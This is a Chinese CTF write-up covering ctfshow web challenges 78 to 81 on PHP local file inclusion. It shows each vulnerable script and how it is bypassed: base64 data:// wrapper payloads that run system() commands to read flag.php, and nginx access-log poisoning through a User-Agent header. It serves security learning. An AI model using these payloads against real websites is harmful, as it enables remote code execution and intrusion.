文件包含
web-78
此题为 【从0开始学web】系列第七十八题此系列题目从最基础开始,题目遵循循序渐进的原则
希望对学习CTF WEB的同学有所帮助
文件包含系列开始啦
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 10:52:43 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 10:54:20 # @email: h1xa@ctfer.com # @link: https://ctfer.com
*/
if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); }
|
- 后面发现在上一级的目录里没有flag
- 那就试着在同级里面找一下
1
| <?php system("cat flag.php");?>
|
web-79
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:10:14 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 11:12:38 # @email: h1xa@ctfer.com # @link: https://ctfer.com
*/
if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); include($file); }else{ highlight_file(__FILE__); }
|
file = $_GET['file'];
获取传入的文件名
$file = str_replace("php", "???", $file);
用 str_replace
将文件名中的 “php” 替换为 “???”
include($file);
然后再包含该文件。
对这个函数进行一个补充
str_replace函数
str_replace
函数是 PHP 中的一个字符串处理函数,用于在字符串中查找指定的字符或字符串,并将其替换为另一个字符或字符串
基本语法如下:
1
| str_replace(mixed $search, mixed $replace, mixed $subject[, int &$count])
|
参数说明:
$search
:要查找的值,可以是字符串或数组。
$replace
:用于替换的值,可以是字符串或数组。
$subject
:被搜索和替换的字符串或数组。
$count
(可选):如果传入该参数,将会被填充为替换发生的次数。
返回值:
str_replace
返回替换后的字符串或数组。
示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| $original_string = "Hello, world!"; $search = "world"; $replace = "PHP"; $new_string = str_replace($search, $replace, $original_string); echo $new_string;
$original_array = ["red", "green", "blue"]; $search = "red"; $replace = "yellow"; $new_array = str_replace($search, $replace, $original_array); print_r($new_array);
$original_string = "one two three two one"; $search = "two"; $replace = "four"; $count = 0; $new_string = str_replace($search, $replace, $original_string, $count); echo $new_string; echo $count; ?>
|
好了下面我们继续解决这道题
- php被替换,就不能使用
php://协议
了
- 那用
date协议
就好了,data协议可以用base64编码
- 基本语法:
1
| ?file=data://text/plain;base64,......
|
后面接base64编码后的payload
比如
- 先
<?php system("ls ");?>
- 编码后是
PD9waHAgc3lzdGVtKCJscyAiKTs/Pg==
那么构造出来的payload就是:
1
| ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyAiKTs/Pg==
|
成功ls
然后我们读取flag.php
用base编码的好处就在于可以绕过对flag.php的替换
<?php system("cat flag.php");?>
编码后PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
构造payload:
1 2
| ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg== ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
|
web-80 日志包含
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 11:26:29 # @email: h1xa@ctfer.com # @link: https://ctfer.com
*/
if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); include($file); }else{ highlight_file(__FILE__); }
|
- 这道题将
php://
和data://
都替换掉了
- 于是换一种方式,用日志包含来执行命令
- 通过
wappalyzer
查看网页的banner信息【谷歌商店下载该插件就好了】
- 发现是nginx服务器
nginx服务器的日志通常路径为:/var/log/nginx/access.log
或/var/log/nginx/error.log
本题的路径是/var/log/nginx/access.log
- 通过file读取日志
- 抓包后在User-Agent请求头中插入payload
- 文件包含日志,使得代码执行
1
| <?php system("cat fl0g.php");?>
|
web-81
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 15:51:31 # @email: h1xa@ctfer.com # @link: https://ctfer.com
*/
if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); include($file); }else{ highlight_file(__FILE__); }
|
与上一题基本无异,只是增加了对:
的替换
web-82